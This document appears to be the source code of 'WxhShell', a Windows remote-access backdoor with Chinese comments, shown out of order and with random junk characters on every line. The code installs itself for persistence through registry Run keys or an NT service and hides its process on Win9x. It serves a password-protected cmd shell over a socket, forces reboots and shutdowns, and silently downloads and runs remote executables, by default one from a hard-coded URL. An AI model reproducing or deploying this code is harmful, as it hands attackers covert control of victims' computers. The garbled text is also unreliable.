  case 'd': { Q;nC #cg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5HY0 *\  
    if(Boot(SHUTDOWN)) g-m,n=qu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0]nveC$  
    else { ? 5OK4cR  
    closesocket(wsh); yGX5\PSo  
    ExitThread(0); Qz$nWsD  
    } |BD2=7,z  
    break; Y^8'P /A  
    } W}%[i+  
  // 获取shell 6%wlz%Fp  
  case 's': { "t-9q  
    CmdShell(wsh); W!+=`[Ff  
    closesocket(wsh); ;Uy}(  
    ExitThread(0); r-]%R:U*  
    break; w:=:D=xH2  
  } 6 Pdao{P  
  // 退出 q{f (T\  
  case 'x': { rD !GEU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2{oQ  
    CloseIt(wsh); oMoco tQ;$  
    break; O]!o|w(  
    } |~rKDc  
  // 离开 {yd(n_PqY  
  case 'q': { qc' ;<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HTm`_}G9  
    closesocket(wsh); >8$Lqj^i  
    WSACleanup(); ::cI4D  
    exit(1); L{&Yh|}  
    break; >>8{N)c5E  
        } ?<Mx*l  
  } nm %7e!{m  
  } Re*~C:  
4 DV,f2:R4  
  // 提示信息 K7i@7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2dbn~j0  
} J L1]auO*  
  } Dg}EI^ d  
$IdU  
  return; eIhfhz?Q;#  
} "/3YV%to-#  
{)Shc;Qh  
// shell模块句柄  um2}XI  
int CmdShell(SOCKET sock) Wq}W )E  
{ U % ?+N  
STARTUPINFO si; 3l$D%y  
ZeroMemory(&si,sizeof(si)); lW4 6S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i4M%{]G3Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ies` !W^  
PROCESS_INFORMATION ProcessInfo; \}YAQ'T  
char cmdline[]="cmd"; m5, &;~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "QBl "<<s  
  return 0; Zv8_<>e  
}  ?H_>?,^  
\pP1k.~UnC  
// 自身启动模式 5Ux=5a  
int StartFromService(void) <@0S]jy  
{ Q6N?cQtOT  
typedef struct pA_e{P/  
{ rdAy '38g  
  DWORD ExitStatus; x]4>f[>*>  
  DWORD PebBaseAddress; 6(ER$  
  DWORD AffinityMask; k(@W z>aCv  
  DWORD BasePriority; ]a[2QQ+g  
  ULONG UniqueProcessId; aO bp"  
  ULONG InheritedFromUniqueProcessId; g*w}m>O  
}   PROCESS_BASIC_INFORMATION; JLg/fB3%  
 OAgZeK$  
PROCNTQSIP NtQueryInformationProcess; )XoMOz  
k3]qpWKj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C@pn4[jTl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kX)*:~*  
0+.<BOcW5  
  HANDLE             hProcess; Q~KzcB<  
  PROCESS_BASIC_INFORMATION pbi; } na@gn  
S5YEz XG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iI &z5Q2  
  if(NULL == hInst ) return 0; XdnpL$0  
E*s _Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zt9ld=T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8m[o*E.4F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b.9[Vf_G  
HJd{j,M  
  if (!NtQueryInformationProcess) return 0; ?>gr9w\  
S9'Xsh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;3%Y@FS@  
  if(!hProcess) return 0; UVW4KUxR  
D'^UZZlI^I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #Kx @:I  
Tz0XBH_  
  CloseHandle(hProcess); su\`E&0V+  
(.5Ft^3W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <vb7X  
if(hProcess==NULL) return 0; uWP0(6 %  
aNwx~t]G  
HMODULE hMod; UXw I?2L  
char procName[255]; f>&*%[fw  
unsigned long cbNeeded; *<}R=X.  
46B'Ec  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q:'r p  
BH}M]<5  
  CloseHandle(hProcess); tGSX TF}G  
*_H]?&  
if(strstr(procName,"services")) return 1; // 以服务启动 <$C3] =2  
$FZcvo3@*S  
  return 0; // 注册表启动 B$7Cjv  
} y k\/Cf  
2+*o^`%4P  
// 主模块 05 .EI)7  
int StartWxhshell(LPSTR lpCmdLine) lwjA07 i  
{ 6uX,J(V,  
  SOCKET wsl; 64^l/D(  
BOOL val=TRUE; 7loWqZ  
  int port=0; V6kDyl(  
  struct sockaddr_in door; ID<[=es6  
KTeR;6oZn"  
  if(wscfg.ws_autoins) Install(); ?JW/Stua  
90ov[|MkM  
port=atoi(lpCmdLine); <)"i'v $  
^),;`YXZ  
if(port<=0) port=wscfg.ws_port; _ x$\E  
}FX:sa?5  
  WSADATA data; #/\Zo &V8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fw a*|y;  
ZS`9r16@b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;q#Pl!*5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GgE 38~A4  
  door.sin_family = AF_INET; -MORd{GF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =)x+f/c]  
  door.sin_port = htons(port); 1)f <  
>gl.ILo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o>&-B.zq  
closesocket(wsl); +6n\5+5  
return 1; iP1yy5T  
} H29vuGQjq  
k7(lwEgNG  
  if(listen(wsl,2) == INVALID_SOCKET) { k,ezB+  
closesocket(wsl); Qv)DSl  
return 1; + +Eu.W;&#  
} ME.!l6lm\  
  Wxhshell(wsl); Qtt3;5m  
  WSACleanup(); |D[LU[<C  
Or55_E  
return 0; E5a7p.  
qa4j>;  
} hZ')<@hNP  
pr1kYMrqri  
// 以NT服务方式启动 \FnR'ne  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M<SVH_  
{ e+?;Dc-SJ\  
DWORD   status = 0; tJm1Q#||  
  DWORD   specificError = 0xfffffff; ):n'B` f}z  
3-)R'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gf^y3F[\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c(!pcB8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6QNZ/Ox:  
  serviceStatus.dwWin32ExitCode     = 0; _T;Kn'Gz(&  
  serviceStatus.dwServiceSpecificExitCode = 0; Zm+GH^f'  
  serviceStatus.dwCheckPoint       = 0; Q<yvpT(  
  serviceStatus.dwWaitHint       = 0; JZJb&q){  
BHU=TK@GR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '<O.J(N~4!  
  if (hServiceStatusHandle==0) return; 162Dj$  
&G?w*w_n  
status = GetLastError(); ~ cI`$kJ  
  if (status!=NO_ERROR) j9BcoEl:;  
{ 3ik~PgGoKQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }|nEbM]#  
    serviceStatus.dwCheckPoint       = 0; Jn9 {@??  
    serviceStatus.dwWaitHint       = 0; 6.a|w}C`  
    serviceStatus.dwWin32ExitCode     = status; z+^9)wg9  
    serviceStatus.dwServiceSpecificExitCode = specificError; `9A`pC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J6@RIia  
    return; rmdg~  
  } fVi[mH0=+  
MOm+t]vq1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z9v70 q  
  serviceStatus.dwCheckPoint       = 0; lXD=uRCI  
  serviceStatus.dwWaitHint       = 0; .sb0|3&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M[e^Z}w.V  
} JZE<oQ_Jm  
gj&5>brP  
// 处理NT服务事件,比如:启动、停止 shiw;.vR{B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %H3 iX^}*  
{ UgOhx- 8  
switch(fdwControl) ziv+*Qn_b4  
{ ?ea5k*#a  
case SERVICE_CONTROL_STOP: Ml )<4@  
  serviceStatus.dwWin32ExitCode = 0; sXY{g0%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o ?aF  
  serviceStatus.dwCheckPoint   = 0; wBEBj7(y  
  serviceStatus.dwWaitHint     = 0; FMitIM*]   
  { .Vs|&c2im  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7324#HwS  
  } Vw`%|x"Xz  
  return; th5UzpB4  
case SERVICE_CONTROL_PAUSE: XRP+0=0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (aB:P03  
  break; l(}l([rdQ  
case SERVICE_CONTROL_CONTINUE: OJ.oHf=K!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _P%PjFQ)  
  break;  \7e4t  
case SERVICE_CONTROL_INTERROGATE: KYq<n& s  
  break; 0;%\L:,O  
}; ; NO#/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H)rJ >L  
} :]LW,Eql  
HaF&ooI5+  
// 标准应用程序主函数 !lp7}[k<y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q35=_'\W  
{ g<:TsP'|  
N1U.1~U  
// 获取操作系统版本 'Hu+8,xA  
OsIsNt=GetOsVer(); %Siw>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MYVb !  
OK z5;#S=  
  // 从命令行安装 WY26Iq@C  
  if(strpbrk(lpCmdLine,"iI")) Install(); SzG?m]  
46H@z=5  
  // 下载执行文件 [lz H%0 V  
if(wscfg.ws_downexe) { AR g]GV/L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |Vp ?  
  WinExec(wscfg.ws_filenam,SW_HIDE); `*]r+J2  
} zY].ZS=7  
.m xc~  
if(!OsIsNt) { YDgG2hT/2  
// 如果时win9x,隐藏进程并且设置为注册表启动 cu#r#0U-  
HideProc(); 'yh)6mid  
StartWxhshell(lpCmdLine); +u lxCm_lV  
} %iZ~RTY6 !  
else qr~zTBT] E  
  if(StartFromService()) P7 5@Yu(  
  // 以服务方式启动 gmOP8.g  
  StartServiceCtrlDispatcher(DispatchTable); Ia:M+20n  
else <W*6=HZ'  
  // 普通方式启动 TnuA uui*  
  StartWxhshell(lpCmdLine); WJ\,Y} J  
52r\Q}v$  
return 0; j ~I_by  
} 4UN|`'c  
M1*x47bN  
P|a|4Bb+fW  
d-I=xpB  
=========================================== D8b9 T.[(  
-)DxF<8B  
4OG 1_6K  
i\* b<V  
%V(U]sbV  
tNAmA  
" >B.KI}dE  
uY3?(f#  
#include <stdio.h> sjHcq5#U!  
#include <string.h> Q0L1!}w   
#include <windows.h> R,-DP/ (im  
#include <winsock2.h> <4I`|D3@  
#include <winsvc.h> E:P_CDSd]  
#include <urlmon.h> "a<:fEsSE  
C~M,N|m+^  
#pragma comment (lib, "Ws2_32.lib") qI[AsM+  
#pragma comment (lib, "urlmon.lib") Io('kCOR;  
unr`.}A2>  
#define MAX_USER   100 // 最大客户端连接数 mlz|KI~\F;  
#define BUF_SOCK   200 // sock buffer HrRw  
#define KEY_BUFF   255 // 输入 buffer V\AF%=6}  
Z0M|Bv9_  
#define REBOOT     0   // 重启 fyq %-Tj  
#define SHUTDOWN   1   // 关机 .RbPO#(  
O81'i2M J9  
#define DEF_PORT   5000 // 监听端口 "~"=e  
<V|\yH9  
#define REG_LEN     16   // 注册表键长度 9zpOp-K6  
#define SVC_LEN     80   // NT服务名长度 f2ck=3  
m-Se-aF  
// 从dll定义API bc2S?u{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ) gxN' z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XMLl>w2z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^>z+e"PQA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j% '~l#nw  
NFf?~I&mfu  
// wxhshell配置信息 :6Gf@Z&+  
struct WSCFG { /@",5U#  
  int ws_port;         // 监听端口 c >xHaA:V  
  char ws_passstr[REG_LEN]; // 口令 BD mF+  
  int ws_autoins;       // 安装标记, 1=yes 0=no P[H 4Yp  
  char ws_regname[REG_LEN]; // 注册表键名 4u1au1c  
  char ws_svcname[REG_LEN]; // 服务名 YIHGXi<"n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bq{eu#rQJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  X$_z"t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )%hW3w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jori,"s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +Ecn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hh-sm8  
'Ojxzz*tT  
}; so@ijl4{Z  
Iz!]LW  
// default Wxhshell configuration g,f AV M  
struct WSCFG wscfg={DEF_PORT, mD,fxm{G  
    "xuhuanlingzhe", q oz[x  
    1, VrJf g  
    "Wxhshell", 5zF$Q{3  
    "Wxhshell", ,F=FM>o  
            "WxhShell Service", X6r3$2!  
    "Wrsky Windows CmdShell Service", ,oJ$m$(Lj  
    "Please Input Your Password: ", 2rM/kF >g  
  1, IG!(q%Gf  
  "http://www.wrsky.com/wxhshell.exe", AzSmfEaU0  
  "Wxhshell.exe" tjcsT>  
    }; 4^ZbT  
+_ $!9m  
// 消息定义模块 Ag;Ybk[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hr*xAx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2xv[cpVi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q|7m9~  
char *msg_ws_ext="\n\rExit."; )p{,5"0u  
char *msg_ws_end="\n\rQuit."; p }3$7CR/  
char *msg_ws_boot="\n\rReboot..."; R^yh,  
char *msg_ws_poff="\n\rShutdown..."; 43!E>mq  
char *msg_ws_down="\n\rSave to "; UDlM?r:f  
TjjR% 3  
char *msg_ws_err="\n\rErr!"; i`!>zl+D  
char *msg_ws_ok="\n\rOK!"; xQNGlVipZ@  
p,3}A( >  
char ExeFile[MAX_PATH]; 352RJC  
int nUser = 0; ;/!o0:m^I  
HANDLE handles[MAX_USER]; 3E!3kSh|  
int OsIsNt; pzT`.#N:M  
d}@n,3  
SERVICE_STATUS       serviceStatus; @CKMJ^#|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q( %)^C  
$,nidK!"  
// 函数声明 Ru$%gh>v  
int Install(void); zw0u|q;#  
int Uninstall(void); Y,-! QFS#  
int DownloadFile(char *sURL, SOCKET wsh); X:QRy9]  
int Boot(int flag); Axla@  
void HideProc(void); Y"TrF(C  
int GetOsVer(void); Fh}GJE   
int Wxhshell(SOCKET wsl); jEL"Q?#  
void TalkWithClient(void *cs); HcGbe37Xq  
int CmdShell(SOCKET sock); ]ts^h~BZ$  
int StartFromService(void); 8>|<m'e^\r  
int StartWxhshell(LPSTR lpCmdLine); "!:)qVL^  
tV2o9!N4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /#[mV(k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (Y  
RAA,%rRhu(  
// 数据结构和表定义 43*;"w=  
SERVICE_TABLE_ENTRY DispatchTable[] = UW{C`^?=B  
{ =0>[-:Z  
{wscfg.ws_svcname, NTServiceMain}, |W5lhx0U  
{NULL, NULL} i({MID)/_  
}; cEK#5   
P9M%B2DQ6f  
// 自我安装 RG_6& A  
int Install(void) ?v&2^d4C*F  
{ %<MI]D  
  char svExeFile[MAX_PATH]; HE+D]7^  
  HKEY key; J$S*QCo  
  strcpy(svExeFile,ExeFile); Qa"4^s  
/mK]O7O7  
// 如果是win9x系统,修改注册表设为自启动 A $l  
if(!OsIsNt) { }&^1")2t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pbG v\S F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tQ)l4Y 8  
  RegCloseKey(key); >KJE *X@s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A" IaFXB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zT'(I6 S:)  
  RegCloseKey(key); w]US-7  
  return 0; Q}1qt4xy*  
    } {&nDm$KTD  
  } H5be5  
} +ux`}L(  
else { Li\b ,_C  
*nwH1FjH  
// 如果是NT以上系统,安装为系统服务 _Bhd@S!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fBKN?]BdN  
if (schSCManager!=0) a@#<qf8g  
{ ~31-)*tJ]  
  SC_HANDLE schService = CreateService ONLhQJCb  
  ( j+2-Xy'  
  schSCManager, WmE4TL^8?  
  wscfg.ws_svcname, n.1$p  
  wscfg.ws_svcdisp, wYh]3  
  SERVICE_ALL_ACCESS, |pE ~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sAjN<P  
  SERVICE_AUTO_START, i"n1E@  
  SERVICE_ERROR_NORMAL, fF. +{-.  
  svExeFile, H`7T;`Yb  
  NULL, >n%ckL|rG  
  NULL, ,n$HTWa@0  
  NULL, P,k=u$  
  NULL, GZ.KL!,R!  
  NULL #2%8@?_-M  
  ); cd4HbSp  
  if (schService!=0) v5.KCc}"  
  { ;>Z0e`=  
  CloseServiceHandle(schService); y~ wN:  
  CloseServiceHandle(schSCManager); *?o 'sTH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -c %'f&P  
  strcat(svExeFile,wscfg.ws_svcname); S*H @`Do%d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @y,>cDg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s_U--y.2r(  
  RegCloseKey(key); >eX9dA3X  
  return 0; J?f7!F:8  
    } //yz$d>JN  
  } "f-HOd\=  
  CloseServiceHandle(schSCManager); PsN_c[+  
} #}[NleTVt  
} aQ0pYk~(  
ex|h&Vma2V  
return 1; 66scBi_d  
} {G{ >Qa|  
iT</  
// 自我卸载 {Bb:\N8X  
int Uninstall(void) UFyk%#L  
{ &cy<"y  
  HKEY key; \ F)}brPc  
@E=77Jn[px  
if(!OsIsNt) { mH )i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0_-P~^A  
  RegDeleteValue(key,wscfg.ws_regname); -6# _t  
  RegCloseKey(key); i\kDb=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nu+DVIM  
  RegDeleteValue(key,wscfg.ws_regname); z]!w@:  
  RegCloseKey(key); i~rb-~o  
  return 0; Am#Pa,g  
  } |]b,% ?,U  
} fRp(&%8E  
} . $ HE  
else { wM! dz&  
NBA`@K~4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MaZS|Zei[  
if (schSCManager!=0) FDuIm,NI  
{ G'{&*]Z\:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  |?ZNGPt  
  if (schService!=0) ?)7UqVyq  
  { 'AZxR4W  
  if(DeleteService(schService)!=0) { 1tlqw  
  CloseServiceHandle(schService); l$m}aQ%h  
  CloseServiceHandle(schSCManager); e /L([  
  return 0; x::d}PP7  
  } \9]- (j6[H  
  CloseServiceHandle(schService); .d+zF,02Z  
  } 8qoA5fW>  
  CloseServiceHandle(schSCManager); M0%nGpVj>  
}  I^G6aw  
} qpq(<  
\ !IEZ  
return 1; xp*d:  
} `tl-] ^Y2  
Yh{5O3(;  
// 从指定url下载文件 So4#n7  
int DownloadFile(char *sURL, SOCKET wsh) c,#Nd@  
{ Ti>}To}B5  
  HRESULT hr; kH4m6p  
char seps[]= "/"; t|*UlTLm  
char *token; u/FC\xJc  
char *file; h;~NA}>  
char myURL[MAX_PATH]; Is9.A_0h  
char myFILE[MAX_PATH]; CiTWjE?|7  
)M@^Z(W/a  
strcpy(myURL,sURL); ^!x qOp!  
  token=strtok(myURL,seps); ^cuH\&&7  
  while(token!=NULL) /Z]hX*QR  
  { Cj J n  
    file=token; >L$9fn/J  
  token=strtok(NULL,seps); $SfY<j,R  
  } >]2^5C;  
bG+Gg*0p  
GetCurrentDirectory(MAX_PATH,myFILE); ,2P /[ :  
strcat(myFILE, "\\"); m; PTO$--  
strcat(myFILE, file); 'Y]<1M>.g  
  send(wsh,myFILE,strlen(myFILE),0); Bo ??1y  
send(wsh,"...",3,0); GqgJ]m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e' |c59E  
  if(hr==S_OK) a&[>kO  
return 0; ]NKz5[9D  
else EW/NH&{  
return 1; 'lmjZ{k  
l !ZzJ&  
} muO;g&  
^tVIPH.R  
// 系统电源模块 +y][s{A  
int Boot(int flag) S e(apQH  
{ &+GbklUB~  
  HANDLE hToken; !ED,'d%J  
  TOKEN_PRIVILEGES tkp; }{v0}-~@  
;}k_  
  if(OsIsNt) { @== "$uRw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UN:cRH{?*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B9'2$s+Z;  
    tkp.PrivilegeCount = 1; ~!_UDD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -#g0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ef=4yH?\j  
if(flag==REBOOT) { {6F]w_\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D c]J3r  
  return 0; NC|VZwQtm  
} y/+y |.Xg  
else { u Npa2{S'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )7Oj  
  return 0; Z*'_/Grv?  
} z0T6a15f!P  
  } qnO/4\qq  
  else { 5'EoB^`8N~  
if(flag==REBOOT) { yaAg!mW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jjg&C9w T  
  return 0; w# ;t$qz}  
} l!IN#|{(  
else { Ub[UB%(T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OO;I^`Yn  
  return 0; |2I p*  
} 4hUUQ;xj  
} Nl{on"il  
mHNqzdaa  
return 1; ~~#/jULbV  
} > Qh#pn*  
-U@ycx|r  
// win9x进程隐藏模块 r1sA^2g.  
void HideProc(void) t_qX7P8+'  
{ ##U/Wa3  
y <P1VES  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Vh&XH\S  
  if ( hKernel != NULL ) ;\iu*1>Z,&  
  { @! jpJ}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a(x#6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T=fVD8  
    FreeLibrary(hKernel); Vtk}>I@%  
  } bW zUWLa  
b=:%*gq,  
return; ; $UB@)7%  
} Qe=eer~jI  
:kucDQE({?  
// 获取操作系统版本 Qq\hD@Z|  
int GetOsVer(void) U"K%ip:Wd  
{ u)l[*";S  
  OSVERSIONINFO winfo; &>XSQB(&%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5%" 0  
  GetVersionEx(&winfo); sA+( |cEh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5 ~"m$/yE  
  return 1; dVBr-+  
  else 0|?DA12Z  
  return 0; QW&@>i  
} {;hR FQ^b  
N ^H H&~V  
// 客户端句柄模块 T7*p! 0  
int Wxhshell(SOCKET wsl) M5+K[Ir/y9  
{ XMpE|M! c  
  SOCKET wsh; QB7^8O!<  
  struct sockaddr_in client; h'A #Yp0,  
  DWORD myID; |l,0bkY@&  
wE_#b\$=b  
  while(nUser<MAX_USER) 9bD ER  
{ |LE*R@|3$  
  int nSize=sizeof(client); ^2mCF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hle@= e/n  
  if(wsh==INVALID_SOCKET) return 1; %UCuI9  
Fw6x (j"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pbqJtBBDDS  
if(handles[nUser]==0) 3L;&MG=  
  closesocket(wsh); _\AT_Zmy  
else </qli-fXB}  
  nUser++; J8h H#7WMS  
  } 1@Rl^ey  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2}.EFQp+  
~Yl%{1  
  return 0; o]0\Km  
} M\=/i\-  
/^Zgv-n  
// 关闭 socket 0+_:^z  
void CloseIt(SOCKET wsh) yzz(<s:o/  
{ )H<F([Jri  
closesocket(wsh); y;tX`5(fe  
nUser--; A<cnIUW  
ExitThread(0); K<"Y4O#]  
} 9 icy&'  
,in"8aT}~  
// 客户端请求句柄 CS Isi]H  
void TalkWithClient(void *cs) !,;/JxfgVh  
{ aP +)  
Evq^c5n>{  
  SOCKET wsh=(SOCKET)cs; Vxim$'x!  
  char pwd[SVC_LEN]; M"z3F!-j  
  char cmd[KEY_BUFF]; NSQf@o  
char chr[1]; CGCSfoS9f  
int i,j; I)f54AX  
qF4pTQf  
  while (nUser < MAX_USER) { 4:qM'z  
P\.1w>X  
if(wscfg.ws_passstr) { O%busM$P)/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'U4@Sax,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G+jcR; s  
  //ZeroMemory(pwd,KEY_BUFF); yA-UXKT  
      i=0; i>AKXJ+  
  while(i<SVC_LEN) { \oAxmvt  
=/qj vY  
  // 设置超时 > 0NDlS%Q:  
  fd_set FdRead; tfq; KR  
  struct timeval TimeOut; \ dZD2e4  
  FD_ZERO(&FdRead); )R"deb=s  
  FD_SET(wsh,&FdRead); !8OUH6{2  
  TimeOut.tv_sec=8; YX6[m6L U  
  TimeOut.tv_usec=0; F$>^pw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RyN?Sn5)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;NrU|g/ksX  
l|~SVk|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -hpMd/F  
  pwd=chr[0]; 1$rrfg  
  if(chr[0]==0xd || chr[0]==0xa) { 7Dwf0Re`  
  pwd=0; jxA*Gg3cT5  
  break; c^BeT;  
  } X5Ff2@."y|  
  i++; K7gqF~5x~  
    } N+0`Jm  
<!.Qn Y  
  // 如果是非法用户,关闭 socket 5SmgE2}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1N\-Ku  
} 9N{"ob Z  
-S *MQA4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @1G`d53N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Q~AK0W  
73'.TReK  
while(1) { 99..]  
'P<T,:z?  
  ZeroMemory(cmd,KEY_BUFF); nV+]jQ~o  
{,b:f  
      // 自动支持客户端 telnet标准   ;l2pdP4jf  
  j=0; pbb6?R,  
  while(j<KEY_BUFF) { F5;x>;r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <ooRpn  
  cmd[j]=chr[0]; *[[TDduh&  
  if(chr[0]==0xa || chr[0]==0xd) { <)$b=z  
  cmd[j]=0; 7"Iagrgw  
  break; U4$CkTe2Y  
  } t(?tPt4zp  
  j++; 9<S};I;  
    } :p,DAt}  
Zp*0%x!e  
  // 下载文件 F B7.b  
  if(strstr(cmd,"http://")) { 7Yd]#K{$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {pW(@4U  
  if(DownloadFile(cmd,wsh)) / qo`vk A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [P?.( *  
  else [ZkK)78}k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [X|KXlNfm  
